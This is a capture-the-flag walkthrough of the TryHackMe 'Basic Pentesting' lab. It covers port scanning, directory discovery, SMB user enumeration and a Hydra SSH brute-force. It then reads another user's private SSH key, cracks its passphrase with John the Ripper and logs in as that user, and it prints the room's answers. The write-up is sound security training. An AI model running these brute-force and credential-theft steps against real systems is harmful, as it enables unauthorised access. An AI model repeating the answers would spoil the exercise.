Basic Pentesting | TryHackMe | CTF

Basic Pentesting | TryHackMe | CTF

Walkthrough of TryHackMe box Basic Pentesting

Find the services exposed by the machine

$ nmap -sV -p- -A 10.10.226.157
Nmap scan report for 10.10.226.157
Host is up (0.046s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2020-04-30T02:44:41-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-30T06:44:41
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 467.86 seconds

What is the name of the hidden directory on the web server(enter name without /)?

$ gobuster -u http://10.10.226.157/ -w /data/src/wordlists/directory-list-1.0.txt 

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.226.157/
[+] Threads      : 10
[+] Wordlist     : /data/src/wordlists/directory-list-1.0.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2020/04/30 08:51:28 Starting gobuster
=====================================================
/development (Status: 301)

Gobuster reveals an hidden /development/ directory.

User brute-forcing to find the username & password

There are 2 files in the development directory:

dev.txt:

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

j.txt:

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

J and K are probably users. Let's use enum4linux.

What is the username?

jan

Enum4linux has detected 2 users: jan and kay:

$ '''./enum4linux.pl -a 10.10.226.157'''

[...SNIP...]

======================================================================== 
|    Users on 10.10.226.157 via RID cycling (RIDS: 500-550,1000-1050)    |
======================================================================== 
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

What is the password?

armando

Found by Hydra against SSH:

$ hydra -l jan -P /data/src/wordlists/rockyou.txt ssh://10.10.226.157
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-30 09:52:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.226.157:22/
[STATUS] 180.00 tries/min, 180 tries in 00:01h, 14344222 to do in 1328:11h, 16 active
[STATUS] 124.00 tries/min, 372 tries in 00:03h, 14344030 to do in 1927:58h, 16 active
[22][ssh] host: 10.10.226.157   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-30 09:58:52

What service do you use to access the server(answer in abbreviation in all caps)?

SSH

Now we can connect with ssh jan@10.10.226.157 with password armando

Enumerate the machine to find any vectors for privilege escalation

Using linpeas script, we identify a private SSH key in /home/kay/.ssh/:

Possible private SSH keys were found!
/home/kay/.ssh/id_rsa
$ cat /home/
jan/ kay/ 
jan@basic2:/tmp$ cat /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

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
-----END RSA PRIVATE KEY-----

Tryin to connect with this key prompts for a password. Let's try to find it with John the ripper:

$ ./ssh2john.py /data/documents/challenges/TryHackMe/Basic_Pentesting/private.key > /data/documents/challenges/TryHackMe/Basic_Pentesting/private.txt
./ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
  data = base64.decodestring(data)

Now run John:

$ ./john /data/documents/challenges/TryHackMe/Basic_Pentesting/private.txt --wordlist=/data/src/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (/data/documents/challenges/TryHackMe/Basic_Pentesting/private.key)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:02 DONE (2020-04-30 11:12) 0.3703g/s 5311Kp/s 5311Kc/s 5311KC/s *7¡Vamos!
Session completed

Now let's connect with password beeswax:

ssh -i private.key kay@10.10.226.157

What is the name of the other user you found(all lower case)?

kay

If you have found another user, what can you do with this information?

We found the password associated to the kay user and we can now connect with SSH.

What is the final password you obtain?

kay@basic2:~$ cat pass.bak 
heresareallystrongpasswordthatfollowsthepasswordpolicy$$